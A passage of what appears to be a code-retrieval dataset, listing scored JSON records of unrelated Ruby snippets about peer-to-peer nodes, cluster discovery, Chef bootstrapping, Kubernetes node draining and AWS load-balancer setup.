"text": "def initialize(peers,callback=nil,ptype=Overnet::PeerType::SUBNODE,upstream=[])\n\t\t\t\t\t@peers = peers\n\t\t\t\t\t@callback = callback\n\t\t\t\t\t@ptype = ptype\n\t\t\t\t\t@rpng = false\n\t\t\t\t\t@port = @tcp.addr[1]\n\t\t\t\t\t@version = 33\n\t\t\t\t\t@running = false\n\t\t\t\t\t@upstream = upstream\n\t\t\t\t\t@downstream = []\n\t\t\t\t\t@state = 'NONE'\n @hash = ([0]*16).map{storm_rand}.pack(\"C16\").unpack(\"H32\")[0]\n\t\t\t\t\t@peer = @oe.myself\n end",
"title": ""
},
{
"docid": "0753895cc0a2ade8a0df1ecd86245c3a",
"score": "0.5801842",
"text": "def nodes\n @nodes ||= DPN::Workers.nodes\nend",
"title": ""
},
{
"docid": "7170c98d4259e3e8d61ec7f2fd483b27",
"score": "0.57822865",
"text": "def load_nodes; end",
"title": ""
},
{
"docid": "7170c98d4259e3e8d61ec7f2fd483b27",
"score": "0.57820857",
"text": "def load_nodes; end",
"title": ""
},
{
"docid": "c3b35c52527703134c0c590357bf94a9",
"score": "0.57467896",
"text": "def probe_nodes(searchhash, selfipaddress, username, password, probe = {})\n probe['joinhash'] = {}\n searchhash.each do |node|\n info = get_node_json(node['ipaddress'], username, password)\n if info\n if found_cluster(info)\n probe['joinarray'] = join_to_cluster(info, selfipaddress, node['ipaddress'])\n elsif node['ipaddress'] != selfipaddress\n ip = node['ipaddress']\n probe['joinhash'][ip] = get_timestamp(info)\n end\n end\n end\n probe\nend",
"title": ""
},
{
"docid": "08b5875bf390a4053398349eb8771b2c",
"score": "0.5706842",
"text": "def pickLeastLoadedNode(slicename)\n\t\t\tllnode_uri = \"\"\n\t\t\tleast_load = 1000 # random (too) high value\n\t\t\t#puts \"Come in pickLeastLoadedNode\"\n\t\t\t#node_uris = getNodesInGroup(@default_group['name'])\n\t\t\tnode_uris = getAllNodes # Returns all nodes, the 'uri' is in there.\n\t\t\tnode_uris.each do |node_uri|\n\t\t\t\tresponse = RestClient.get \"#{node_uri['uri']}\"\n \tnode = JSON.parse(response)\n\n\t\t\t\t# Retrieve the management adddress of the node.\n\t\t\t\tnodeMgmtIPv6 = node['mgmt_net']['addr'];\n\n\t\t\t\t# Get the info from the node itself...\n\t\t\t\tresponseNode = Typhoeus.get(\"http://[#{nodeMgmtIPv6}]/confine/api/node/\")\n\t\t\t\tif (responseNode.code == 200)\n\t\t\t\t\tnodeFromNode = JSON.parse(responseNode.body)\n\t\t\t\t\t# Only if the node is in production state, you can allocate slivers on this node.\n\t\t\t\t\tif (nodeFromNode[\"state\"] == \"production\")\n\t\t\t\t\t\tputs \"Node #{node_uri['uri']} is in PRODUCTION state (least loaded node election).\".green\n\t\t\t\t\t\tload = node['slivers'].length\n\t\t\t\t\t\tif (load < least_load && !@slice_node_allocation[slicename].include?(node_uri['uri']))\n\t\t\t\t\t\t\tleast_load = load\n\t\t\t\t\t\t\tllnode_uri = node_uri['uri']\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"Node #{node_uri['uri']} is not in PRODUCTION state, but in #{nodeFromNode[\"state\"]} state (least loaded node election).\".green\n\t\t\t\t\tend\n\t\t\t\telse\n\t puts \"State link request to node #{node_uri['uri']} not successfull: node is not considered (least loaded node election).\".green \n\t\t\t\tend\n\t\t\t\t#puts \"The load of node #{node['name']} is #{load}.\"\n\t\t\t\t#puts node\n\t\t\tend\n\t\t\tputs \"Selected node (#{llnode_uri}) with least load.\".green\n\t\t\t@slice_node_allocation[slicename].push llnode_uri\n\t\t\t#puts \"Least load node_uri #{llnode_uri}\"\t\n\t\t\treturn llnode_uri\n\t\tend",
"title": ""
},
{
"docid": "d42a5ddd636849a878503a879f2a7c68",
"score": "0.5679891",
"text": "def create_local_node\n str = <<-EOS\nnode default {\n include poolparty\n}\n EOS\n @cloud.list_of_running_instances.each do |ri|\n str << <<-EOS \nnode \"#{ri.name}\" inherits default {}\n EOS\n end\n\"echo '#{str}' > #{Base.manifest_path}/nodes/nodes.pp\"\n end",
"title": ""
},
{
"docid": "f2ba5b41a57ad3d8fe4645c33368b7bb",
"score": "0.5671452",
"text": "def closest(id, wanted=@alpha)\n # convert id if needed\n if id.class == String\n id = id.to_i(16)\n end\n # find the xor distance to the desired hash id\n bid = NodeManager.xor_distance(@node.hash_i, id)\n # the peers array stores the discovered peers \n peers = Array.new\n # how many more buckets we have left to check\n # this is useful when there are more peers desired than we have in the entire peer table, we use this as a stopping condition for the loop\n buckets_remaining = @bitlength\n # this helps us go further out from the initial xor distance\n offset = 0\n # get nodes from the kbucket at the first xor distance\n peers += @node_store[bid].closest(id, wanted)\n # decrement the number of remaining nodes to discover by the number found\n wanted -= peers.length\n # we don't need to check the initial bucket anymore, so decrement the number of buckets_remaining to check\n buckets_remaining -= 1\n # now move outwards from the initial bucket\n offset += 1\n # if we still need more nodes and we have more buckets to check\n while wanted > 0 and buckets_remaining > 0\n # check the bucket further away first (but don't exceed the number of buckets)\n if bid + offset < @bitlength\n # get more peers\n new_peers = @node_store[bid + offset].closest(id, wanted)\n # decrement the number of wanted peers\n wanted -= new_peers.length\n # decrement the number of buckets remaining to check\n buckets_remaining -= 1\n # add the new peers to our peers array\n peers += new_peers\n end\n # check the bucket closer than the bid array\n if wanted > 0 and bid - offset >= 0\n # get more peers\n new_peers = @node_store[bid - offset].closest(id, wanted)\n # decrement the number of wanted peers\n wanted -= new_peers.length\n # decrement the number of buckets remaining to check\n buckets_remaining -= 1\n # add the new peers to our peers array\n peers += new_peers\n end\n # keep expanding outwards\n offset += 1\n end\n peers\n end",
"title": ""
},
{
"docid": "f0b501e6e48a02de9e88b5370fdcb7b4",
"score": "0.5637426",
"text": "def proppatch(_nodes)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "e3c9a0a3b00459ec2b3f359cb6902b3a",
"score": "0.5610413",
"text": "def run\n # setup bootnodes\n @bootnodes.each do |node|\n @peer_store.add_bootnode(node)\n end\n\n # start server and services\n Async::Reactor.run do |task|\n # wait sub tasks\n task.async do\n # start ETH protocol, @protocol_manage is basicly ETH protocol now\n task.async {@protocol_manage.run}\n task.async do\n # Wait for server started listen\n # we use listened port to start DiscoveryService to allow 0 port\n task.sleep(0.5) until @local_address\n\n # start discovery service\n @discovery_service = Discovery::Service.new(peer_store: @peer_store, private_key: @private_key, host: @host, udp_port: @local_address.ip_port, tcp_port: @local_address)\n task.async { @discovery_service.run }\n\n # start dial outgoing nodes\n @dial_scheduler = DialScheduler.new(@network_state, @dialer)\n task.async {@dial_scheduler.run}\n end\n task.async {start_listen}\n end.wait\n end\n end",
"title": ""
},
{
"docid": "d60c43f4756d9cde64476ec4133fe2de",
"score": "0.559655",
"text": "def gossip\n \n end",
"title": ""
},
{
"docid": "6fc7e2c1acb5e158be2e0dc37458208e",
"score": "0.55936104",
"text": "def install_bootstrap(target_nodes)\n # Head nodes must be installed before workers.\n all_hadoop_head_nodes = parse_cluster_txt(cluster_txt).select do |node|\n node[:runlist].include?('role[BCPC-Hadoop-Head]')\n end\n\n target_head_nodes = target_nodes & all_hadoop_head_nodes\n\n partial_runlist = 'role[BCPC-Hadoop-Head]'\n\n # See comments in install_hadoop\n assign_roles(nodes: all_hadoop_head_nodes, runlist: partial_runlist)\n\n wait_for_indexed_roles(nodes: all_hadoop_head_nodes,\n search: 'role:BCPC-Hadoop-Head')\n\n target_head_nodes.each do |node|\n puts \"#{node[:fqdn]}: Cheffing head node with partial runlist\"\n chef_node_with_runlist(node: node, runlist: partial_runlist)\n end\n end",
"title": ""
},
{
"docid": "04eb74bce4f531165e2081ea015a8739",
"score": "0.5583922",
"text": "def on_neighbour(&block); Roby::Distributed.state.on_neighbour(&block) end",
"title": ""
},
{
"docid": "103e1b7b2c03751a8ac653a45ffd9740",
"score": "0.5541086",
"text": "def discover_cassandra_seed_nodes\n # use chef search for seed nodes\n return unless node['kairosdb']['cassandra_seed_discovery']\n if node['kairosdb']['cassandra_seed_discovery']['use_chef_search']\n if Chef::Config[:solo]\n Chef::Log.warn(\"Chef Solo does not support search, provide the seed nodes via node attribute node['kairosdb']['config']['datastore.cassandra.host_list']\")\n node['ipaddress']\n else\n Chef::Log.info('Cassandra seed discovery using Chef search is enabled')\n q = node['kairosdb']['cassandra_seed_discovery']['search_query'] ||\n \"chef_environment:#{node.chef_environment} \"\\\n \"AND role:#{node['kairosdb']['cassandra_seed_discovery']['search_role']} \"\\\n \"AND cassandra_config_cluster_name:#{node['kairosdb']['cassandra_seed_discovery']['cluster_name']}\"\n Chef::Log.info(\"Will discover Cassandra seeds using query '#{q}'\")\n xs = search(:node, q).map(&:ipaddress).sort.uniq\n Chef::Log.debug(\"Discovered #{xs.size} Cassandra seeds using query '#{q}'\")\n\n if xs.empty?\n Chef::Log.error(\"Not nodes found, provide cassandra host list via attribute\")\n nil\n else\n xs.join(',')\n end\n end\n else\n # user defined seed nodes\n if node['kairosdb']['config']['kairosdb.datastore.cassandra.host_list'].is_a?(Array)\n node['kairosdb']['config']['kairosdb.datastore.cassandra.host_list'].join(',')\n else\n node['kairosdb']['config']['kairosdb.datastore.cassandra.host_list']\n end\n end\nend",
"title": ""
},
{
"docid": "809aea826c794f9abaedd865c8c4eb49",
"score": "0.55349106",
"text": "def gossip\n end",
"title": ""
},
{
"docid": "4785e0be480fe90df3d43c46fc8d8c7e",
"score": "0.5530608",
"text": "def send_node; end",
"title": ""
},
{
"docid": "4785e0be480fe90df3d43c46fc8d8c7e",
"score": "0.5530608",
"text": "def send_node; end",
"title": ""
},
{
"docid": "ed05dc8880289c437ff28c94762aeb70",
"score": "0.55304855",
"text": "def limited_nodes; end",
"title": ""
},
{
"docid": "021c96bddb5a9aed3a343ca9ba0daed2",
"score": "0.5516658",
"text": "def find_starting_node(k:)\n all_dest_nodes = all_nodes.map{|n| n.edges.map{|e| e.to_node.data}}.flatten\n\n # try for perfect an_node\n\n perfect_an_node = all_nodes.select{|n| n.indegree == 0 && n.degree == 1 }.first\n puts \"found perfect an_node #{perfect_an_node.inspect} \" if !perfect_an_node.nil?\n\n an_node = all_nodes.select{|n| n.indegree + 1 == n.degree }.first\n $an_nodes = all_nodes.select{|n| n.indegree + 1 == n.degree }\n\n $bn_nodes = all_nodes.select{|n| n.indegree == n.degree + 1 }\n\n if !an_node.nil?\n # puts \"Found an_node #{an_node.inspect}\"\n # puts \"Found bn_node #{bn_node.inspect}\"\n puts \"Found an_node #{an_node.inspect}\"\n return an_node\n else\n puts \"Choosing random starting node\"\n all_nodes.sample\n end\n\nend",
"title": ""
},
{
"docid": "93775d4b608d1492ea0464f50ad59acb",
"score": "0.5515945",
"text": "def bootstrap(nodes)\n nodes.each do |node|\n if node[:run_list]\n @nodes[node[:name]].bootstrap(run_list: node[:run_list], data: node[:options])\n end\n end\n end",
"title": ""
},
{
"docid": "29a12eeaade5ff539e1d2dcf0628bb45",
"score": "0.5508675",
"text": "def available_nodes\n nodes_avail\n end",
"title": ""
},
{
"docid": "e4665d554b7d4968a4895bb3a9842448",
"score": "0.55086035",
"text": "def find_peer_tasks(running_count, peers, now)\n node = @server.bootstrap_nodes[0]\n return [] if @cache.include?(node)\n @cache << node\n [Task.new(name: 'find peer') {\n @server.setup_connection(node)\n }]\n end",
"title": ""
},
{
"docid": "bd0ca61e7d5339c194ce54d2d71758a3",
"score": "0.54958296",
"text": "def update_pdu_nodes(pdu_nodes,pdu_probe_name,node,site)\n if pdu_nodes.has_key?(pdu_probe_name)\n #this probe is connected to more than one node\n if pdu_nodes[pdu_probe_name][:type]==\"node\"\n first_node=pdu_nodes[pdu_probe_name]\n pdu_nodes[pdu_probe_name]={\n :type => \"multiple\",\n :endpoints => []\n }\n pdu_nodes[pdu_probe_name][:endpoints] << first_node\n end\n pdu_nodes[pdu_probe_name][:endpoints] << { \n :type => \"node\",\n :uid => node[\"uid\"],\n :fqdn => node[\"uid\"]+\".\"+site[\"uid\"]+\".grid5000.fr\" }\n else\n pdu_nodes[pdu_probe_name]={ \n :type => \"node\",\n :uid => node[\"uid\"],\n :fqdn => node[\"uid\"]+\".\"+site[\"uid\"]+\".grid5000.fr\" }\n end\nend",
"title": ""
},
{
"docid": "3e3bc714110c7153bf22fa905e4c7f69",
"score": "0.548861",
"text": "def update(peer)\n # BUG: what do we do if the peer's id is the same as mine?!\n \n # please note that half of the peers will land in bucket 0, a quarter in bucket 1, an eigth in bucket 2, etc. as described above\n bid = NodeManager.xor_distance(@node.hash_i, peer.hash_i)\n check_node = @node_store[bid].update(peer)\n if check_node\n #@node.ping(check_node)\n end\n end",
"title": ""
},
{
"docid": "bc037225a1e1ec36966eb691b75a837d",
"score": "0.547788",
"text": "def ping\n @nodes.each { |n| n.ping }\n end",
"title": ""
},
{
"docid": "27759184769e085b977cddc61acc73d1",
"score": "0.54760736",
"text": "def build_nodes_config\n etc_poolparty = cloud.tmp_path + \"/etc/poolparty\"\n FileUtils.mkdir_p(etc_poolparty)\n node_names = cloud.nodes.collect{|n| n.internal_ip || n.dns_name}.compact.collect{|n| \"hermes@#{n}\"}\n contents = node_names.collect{|n| %Q{'#{n}'.}}.join(\"\\n\")\n File.open(etc_poolparty + \"/seeds.conf\", \"w\") {|f| f.puts contents}\n end",
"title": ""
},
{
"docid": "399b7bbf5edec10a1ff8b5a3e6a86b25",
"score": "0.5436443",
"text": "def poll_nodes\n # clear any list of nodes we already know about and start fresh\n @nodes.clear\n # build a new OpPoll packet and send it out\n id = 'Art-Net'\n opcode = 0x2000 # OpPoll\n protver = 14\n @udp_bcast.send [id, opcode, protver, 0, 0].pack(\"a7xvnCC\"), 0, @broadcast_ip, @port\n end",
"title": ""
},
{
"docid": "4e6629bd69438dea47f849fec0e96ecf",
"score": "0.5434742",
"text": "def host_node\n end",
"title": ""
},
{
"docid": "ea6db993d0d94cb615b01ca3181f1b02",
"score": "0.5432012",
"text": "def initialize(testbed, communicator, myIp, x, y, actInact, f3vconv, f5vconv, f12vconv)\n @f3vconv = f3vconv.to_f\n @f5vconv = f5vconv.to_f\n @f12vconv = f12vconv.to_f\n @status = Array.new\n statusTime = Time.now\n @testbed = testbed\n @communicator = communicator\n @@ip2node[myIp] = self\n @condition = NODE_NOT_REGISTERED\n @xcrd = x\n @ycrd = y\n @powerStatus = \"DOWN\"\n @nlock = Monitor.new\n @ptwt_lock = Monitor.new\n @stmsg_lock = Monitor.new\n if (actInact == CM_NODE_INACTIVE)\n @nodeActiveInactive = NODE_INACTIVE\n else\n @nodeActiveInactive = NODE_ACTIVE\n end\n @mac0 = \"00:00:00:00:00:00\"\n @mac1 = \"00:00:00:00:00:00\"\n @mac2 = \"00:00:00:00:00:00\"\n @mac3 = \"00:00:00:00:00:00\"\n end",
"title": ""
},
{
"docid": "95a2de36d1bef5534acaad383a27a663",
"score": "0.54255295",
"text": "def get_neighbor_nodes(node)\n\nend",
"title": ""
},
{
"docid": "f3c5b9c8f1f99dcc7f33d87b5c66a4bc",
"score": "0.5404754",
"text": "def find_attempt_peers(count)\n @peers.values.reject do |peer_info|\n # reject already connected peers and bootnodes\n @bootnodes.include?(peer_info[:node]) || peer_status(peer_info[:node].raw_node_id) == Status::CONNECTED\n end.sort_by do |peer_info|\n -peer_info[:score]\n end.map do |peer_info|\n peer_info[:node]\n end.take(count)\n end",
"title": ""
},
{
"docid": "88699bdfde6b2e7df8e821f6f80c1238",
"score": "0.54041517",
"text": "def nodes_percent\n available_nodes > 0 ? (nodes_used.to_f / available_nodes.to_f) * 100 : 0\n end",
"title": ""
},
{
"docid": "1121d1488c6a4959f30fa4710fbdbe7e",
"score": "0.54040515",
"text": "def generate_node_names\n puts \"\\nGenerating #{@bs.number_of_nodes} node name(s)\"\n if @bs[:novpc]\n suffix = '.NOVPC'\n else\n suffix = [\"\",\n @bs.subnet,\n @bs.vpc,\n @bs.domain] * '.'\n end\n\n ## Hacky... Maybe use a regex for hostname?\n ## Leaving as is for now\n\n if @bs.hostname.count('%') == 1\n get_available_suffixes.each do |i|\n @bs[:nodes] << @bs.hostname % i\n end\n @bs.nodes.map { |x| x << suffix }\n elsif @bs.number_of_nodes.to_i > 1\n @bs.hostname += '1%02d'\n get_available_suffixes.each do |i|\n @bs[:nodes] << @bs.hostname % i\n end\n @bs[:nodes].map { |x| x << suffix }\n else\n @bs[:nodes] << @bs.hostname + suffix\n end\n end",
"title": ""
},
{
"docid": "012c9f8bb03d4f7a980b190bf84378a2",
"score": "0.5398866",
"text": "def test_normal_node\n\t\tnodes = %w(a b c).map { |l| BellmanFord::Node.new(l) }\n\t\tedges = [[0,1,2],[1,2,2],[0,2,5]].map { |l| \n\t\t\tBellmanFord::Edge.new(nodes[l[0]],nodes[l[1]],l[2])\n\t\t}\n\t\tbf = BellmanFord.new(nodes,edges)\n\t\tbf.set_root(nodes[0])\n\t\tbf.relaxation\n\t\tassert_equal(\"a=>b(2)=>c(4)\", bf.dump(nodes[2]))\n\tend",
"title": ""
},
{
"docid": "f85a837677b6fd0d71407f3d6934668c",
"score": "0.5398707",
"text": "def checkForPeers()\n\t\tif @peers.length == 0\n\t\t\t#puts \"No more peers :(\"\n\t\t\t#exit(1)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "cf07e798ffdf2ee499a4c0cde5a0f812",
"score": "0.5384355",
"text": "def discover_nodes\n @unavailable = []\n nodes = @options[:nodes].map { |opts| Node.new(opts) }.uniq\n @master = find_master(nodes)\n @slaves = nodes - [@master]\n logger.info(\"Managing master (#{@master}) and slaves\" +\n \" (#{@slaves.map(&:to_s).join(', ')})\")\n\n # ensure that slaves are correctly pointing to this master\n redirect_slaves_to(@master) if @master\n end",
"title": ""
},
{
"docid": "c08d781f62d6fdc74d2517201017ef31",
"score": "0.53796905",
"text": "def cluster_size\n peers.size + 1\n end",
"title": ""
},
{
"docid": "c08d781f62d6fdc74d2517201017ef31",
"score": "0.53796905",
"text": "def cluster_size\n peers.size + 1\n end",
"title": ""
},
{
"docid": "dfffbfc42add5d9fd875c88c96c6e08d",
"score": "0.5379296",
"text": "def possible_peers\n star_neighbors = []\n #Create an alternate universe\n new_universe = Universe.new\n #North \n star_neighbors << Star.new(new_universe,x,y+1)\n #Northeast \n star_neighbors << Star.new(new_universe,x+1,y+1)\n #Northwest \n star_neighbors << Star.new(new_universe,x-1, y+1)\n #South \n star_neighbors << Star.new(new_universe,x, y-1)\n #Southwest \n star_neighbors << Star.new(new_universe,x-1, y-1)\n #East \n star_neighbors << Star.new(new_universe,x+1, y) \n #Southeast \n star_neighbors << Star.new(new_universe,x+1, y-1)\n #West\n star_neighbors << Star.new(new_universe,x-1, y)\n star_neighbors\n end",
"title": ""
},
{
"docid": "afeb9d27bc42b8f6743e96c4b47cb2aa",
"score": "0.5376221",
"text": "def run\n # setup bootnodes\n @bootnodes.each do |node|\n @peer_store.add_bootnode(node)\n end\n\n # start server and services\n Async::Reactor.run do |task|\n # initialize protocols\n @network_state.initialize_protocols\n # wait sub tasks\n task.async do\n task.async do\n # Wait for server started listen\n # we use listened port to start DiscoveryService to allow 0 port\n task.sleep(0.5) until @local_address\n\n # start discovery service\n @discovery_service = Discovery::Service.new(\n peer_store: @peer_store,\n private_key: @private_key,\n host: @host, udp_port: @udp_port, tcp_port: @tcp_port,\n discovery_interval_secs: @discovery_interval_secs)\n task.async { @discovery_service.run }\n\n # start dial outgoing nodes\n @dial_scheduler = DialScheduler.new(\n @network_state,\n @dialer,\n dial_outgoing_interval_secs: @dial_outgoing_interval_secs)\n task.async {@dial_scheduler.run}\n end\n task.async {start_listen}\n end.wait\n end\n end",
"title": ""
},
{
"docid": "66f10f93367bfd7773ade41116873333",
"score": "0.53745776",
"text": "def prep\n client.run_ohai\n client.load_node # from the server\n client.build_node\n end",
"title": ""
},
{
"docid": "1760833fa5ee5add488c3a93ed6a5819",
"score": "0.5367202",
"text": "def initial_known_peers\n configmap = kube_client.api('v1').resource('configmaps', namespace: 'kube-system').get('flying-shuttle')\n return known_peers unless configmap.data['known-peers']\n\n JSON.parse(configmap.data['known-peers'])['peers']\n rescue K8s::Error::NotFound\n known_peers\n end",
"title": ""
},
{
"docid": "fff728e5cec3646ab57ab54768bbafa5",
"score": "0.53630364",
"text": "def boot(node)\n wait_for_boot(node)\n end",
"title": ""
},
{
"docid": "fff728e5cec3646ab57ab54768bbafa5",
"score": "0.53630364",
"text": "def boot(node)\n wait_for_boot(node)\n end",
"title": ""
},
{
"docid": "e28c182ee34de4ea224260b635624131",
"score": "0.5360745",
"text": "def get_bootstrap\n return $bootstrap if defined? $bootstrap\n $bootstrap = get_all_nodes.select{|s| s.hostname.include? 'bootstrap'}[0].fqdn\n return $bootstrap\nend",
"title": ""
},
{
"docid": "93e8285eac24da5c5cefd5c95001dabd",
"score": "0.5358967",
"text": "def peers\n @peers ||= []\n end",
"title": ""
},
{
"docid": "94e63f87e50fae2f8da8f54fa3152612",
"score": "0.53560567",
"text": "def way_nodes\n old_nodes\n end",
"title": ""
},
{
"docid": "8fe551e44785eb84b04b78f5a6a31f7f",
"score": "0.5344278",
"text": "def main\n config_cluster\n\n unless correct_number_of_workers_running?\n raise \"There should be #{target_worker_node_count} workers, but #{count_worker_nodes} found. Aborting.\"\n end\n\n node = get_oldest_worker_node\n\n cordon_node(node)\n # Delete any stuck pods, so that they don't prevent the node from being drained.\n stuck_pods(node).each { |pod| delete_pod(pod) }\n drain_node(node)\n\n sleep 30\n\n node = get_latest_node_details(node) # node status should have changed, after being drained\n delete_node(node)\n terminate_node(node)\n\n sleep 60\n\n wait_for_node_to_be_replaced\nend",
"title": ""
},
{
"docid": "4455d988c37051f08b4f4e8db073aafe",
"score": "0.53320885",
"text": "def mine_chain(gen, peers)\n\n # genesis is best block now\n best = gen\n log \"[SIML] Genesis block #{gen['number']}, diff #{gen['difficulty']}, hash #{gen['hash']}\".colorize(:green)\n\n # storing best possible diff for sanity checks later\n _diff = 0\n _num = 0\n\n # run simulation till SIM_END\n while _num < @SIM_END\n _current = 0\n _best = nil\n\n # assuming each peer is a validator\n peers.each do |peer|\n\n # if node is in turn, seal in-turn block\n if _current === @PEER_INTURN\n _best = seal_block_in_turn(\n peer[0]['best'][\"number\"],\n peer[0]['best'][\"difficulty\"],\n peer[0]['best'][\"hash\"]\n )\n _diff = _best['difficulty']\n _num = _best['number']\n log \"[SEAL] Peer #{peer[0]['id']} (head #{peer[0]['best']['hash']}) sealed INTURN block #{_best['number']}, diff #{_best['difficulty']}, hash #{_best['hash']}, parent #{_best['parent']}\".colorize(:light_green)\n\n # if node is not in turn, seal out-of-turn block\n else\n _best = seal_block_out_of_turn(\n peer[0]['best'][\"number\"],\n peer[0]['best'][\"difficulty\"],\n peer[0]['best'][\"hash\"]\n )\n log \"[SEAL] Peer #{peer[0]['id']} (head #{peer[0]['best']['hash']}) sealed NOTURN block #{_best['number']}, diff #{_best['difficulty']}, hash #{_best['hash']}, parent #{_best['parent']}\".colorize(:light_blue)\n end\n\n # each peer assumes its own block as best before seeing others\n peer[0]['best'] = _best\n _current += 1\n end\n\n # simulate \"n-to-m-networking\" assuming each peer sees all blocks\n peers.each do |p|\n peers.each do |q|\n\n # assume network fragmentation (a % chance to miss blocks)\n if rand() > @NET_FRAG\n\n # if their total diff is higher, re-organize to their chain\n if p[0]['best']['difficulty'] < q[0]['best']['difficulty']\n log \"[NETW] Peer #{p[0]['id']} (head #{p[0]['best']['hash']}) reorg to #{q[0]['best']['hash']} (#{q[0]['best']['difficulty']}) from peer #{q[0]['id']}\".colorize(:yellow)\n p[0]['best'] = q[0]['best']\n\n # count reorgs\n @NUM_REORG += 1\n\n # if their total diff is the same, print a red warning and keep own block, ideally this should not happen much\n elsif p[0]['best']['difficulty'] === q[0]['best']['difficulty']\n\n # doing nothing but staying on wrong block\n # log \"[DEBG] Peer #{p[0]['id']} (head #{p[0]['best']['hash']}) SAME DIFFICULTY as #{q[0]['best']['hash']} (#{q[0]['best']['difficulty']}); keeping own best block\".colorize(:gray)\n else\n\n # already on best head, do nothing\n # log \"[DEBG] Peer #{p[0]['id']} (head #{p[0]['best']['hash']}) idles\".colorize(:gray)\n end\n end\n end\n end\n\n\n # check: is the network stuck?\n _stuck = false\n peers.each do |p|\n peers.each do |q|\n\n \t# condition 1: same difficulty\n if p[0]['best']['difficulty'] === q[0]['best']['difficulty']\n\n \t# condition 2: different hash\n if p[0]['best']['hash'].to_i(16) != q[0]['best']['hash'].to_i(16)\n\n \t# condition 3: same diff as best in-turn block\n if p[0]['best']['difficulty'] === _diff\n\n \t# network is unable to reorg if all conditions are met\n _stuck = true\n end\n end\n end\n end\n end\n\n # print stats about peers and best blocks if stuck\n if _stuck\n log \"[SIML] Network is stuck:\".colorize(:light_red)\n peers.each do |peer|\n log \"[SIML] Peer #{peer[0]['id']}, block #{peer[0]['best']['number']}, diff #{peer[0]['best']['difficulty']}, hash #{peer[0]['best']['hash']}, parent #{peer[0]['best']['parent']}\".colorize(:light_red)\n end\n log \"[SIML] Network is stuck... Exciting.\".colorize(:light_red)\n\n # exit simulation at block hight #{_num}\n return _num\n end\n\n # simulate an actual block time\n sleep @BLOCK_TIME\n @PEER_INTURN = (@PEER_INTURN + 1) % @PEER_COUNT\n end\n\n # finish simulation at block hight #{_num}\n return _num\nend",
"title": ""
},
{
"docid": "6d861bc0244d3eb9b39d2d73f3e0babb",
"score": "0.53283936",
"text": "def ensure_elb_nodes\n all_balancers = @elb.describe_load_balancers()\n to_be_started = Array.new\n @elb_nodes.keys.each do |node_name|\n node_instance = find_elb_node_instance(node_name, all_balancers)\n if node_instance.nil?\n @logger.info \"Node #{node_name} not running. Starting...\"\n to_be_started << node_name\n else\n @logger.info \"Node #{node_name} already running (host: #{node_instance.DNSName})\"\n end\n end\n to_be_started.each do |node_name|\n node = @nodes[node_name]\n # TODO: What to do about availability zones tied to this elb's instances, but not specified here? Validation error? Leave it to the user?\n elb = @elb.create_load_balancer(:load_balancer_name => node.load_balancer_name, :availability_zones => node.availability_zones, :listeners => node.listeners)\n node.hostname = elb.CreateLoadBalancerResult.DNSName\n @logger.info \"Node #{node_name} started (host: #{node.hostname})\"\n if !node.health_check.nil?\n @elb.configure_health_check({:health_check => node.health_check,\n :load_balancer_name => node.load_balancer_name})\n end\n if !node.ec2_nodes.nil?\n instance_ids = Array.new\n all_instances = @ec2.describe_instances()\n node.ec2_nodes.each do |ec2_node_name|\n instance = find_ec2_node_instance(ec2_node_name, all_instances)\n if instance.nil?\n @logger.error \"ERROR: Ec2 node '#{ec2_node_name}' is not running to map to Elb node '#{node.name}'\"\n else\n instance_ids << instance.instanceId\n end\n end\n instance_ids.sort!\n begin\n response = @elb.register_instances_with_load_balancer(:load_balancer_name => node.load_balancer_name, :instances => instance_ids)\n if !response.RegisterInstancesWithLoadBalancerResult.nil? && !response.RegisterInstancesWithLoadBalancerResult.Instances.nil?\n registered_instances = Array.new\n response.RegisterInstancesWithLoadBalancerResult.Instances.member.each do |member|\n registered_instances << member.InstanceId\n end\n registered_instances.sort!\n if instance_ids.eql?(registered_instances)\n @logger.info \"Registered Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}\"\n else\n @logger.error \"ERROR: Could not register all Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}. The following instances are registered: #{registered_instances}\"\n end\n else\n @logger.error \"ERROR: Could not register Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}\"\n end\n rescue AWS::Error => aws_error\n @logger.error \"ERROR: Could not register Ec2 Nodes #{node.ec2_nodes.inspect} with Elb Node #{node_name}: #{aws_error.message}\"\n end\n end\n end\n end",
"title": ""
},
{
"docid": "47ad8e97983e51694ab715b356f3fb4e",
"score": "0.5318228",
"text": "def test_initialize_o\r\n\t\tPBSNodesClient.new(cluster_mock_owens)\r\n\tend",
"title": ""
},
{
"docid": "387a4481f14a8ee98778befa259ebf77",
"score": "0.53178394",
"text": "def network01(broker)\n sconf = Hash.new\n sconf[6400] = ['localhost', 'giocoso']\n sconf[6401] = ['192.168.64.1', 'giocoso']\n sconf[6402] = ['127.0.0.1', 'giocoso']\n\n sc = ServerConnector.new sconf\n sc.start\n\n cconf = Hash.new\n cconf[6500] = []\n cconf[6501] = []\n cconf[6502] = []\n cconf[6503] = []\n cconf[6504] = []\n cconf[6505] = []\n\n cc = ClientConnector.new cconf\n cc.start\n\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6400][0], 6400),\n PortDesc.new(:local, '', 6500),\n DupTranslator.new\n )\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6401][0], 6401),\n PortDesc.new(:local, '', 6501)\n )\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6402][0], 6402),\n PortDesc.new(:local, '', 6502)\n )\n\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6400][1], 6400),\n PortDesc.new(:local, '', 6503)\n )\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6401][1], 6401),\n PortDesc.new(:local, '', 6504)\n )\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6402][1], 6402),\n PortDesc.new(:local, '', 6505)\n )\n #\n broker.port_map(\n PortDesc.new(:remote, sconf[6401][1], 6401),\n PortDesc.new(:remoet, sconf[6401][0], 6401)\n )\n\n broker.set_server_connector sc\n broker.set_client_connector cc\n\nend",
"title": ""
},
{
"docid": "65cfff100e381ead9227c4df5c398b20",
"score": "0.531299",
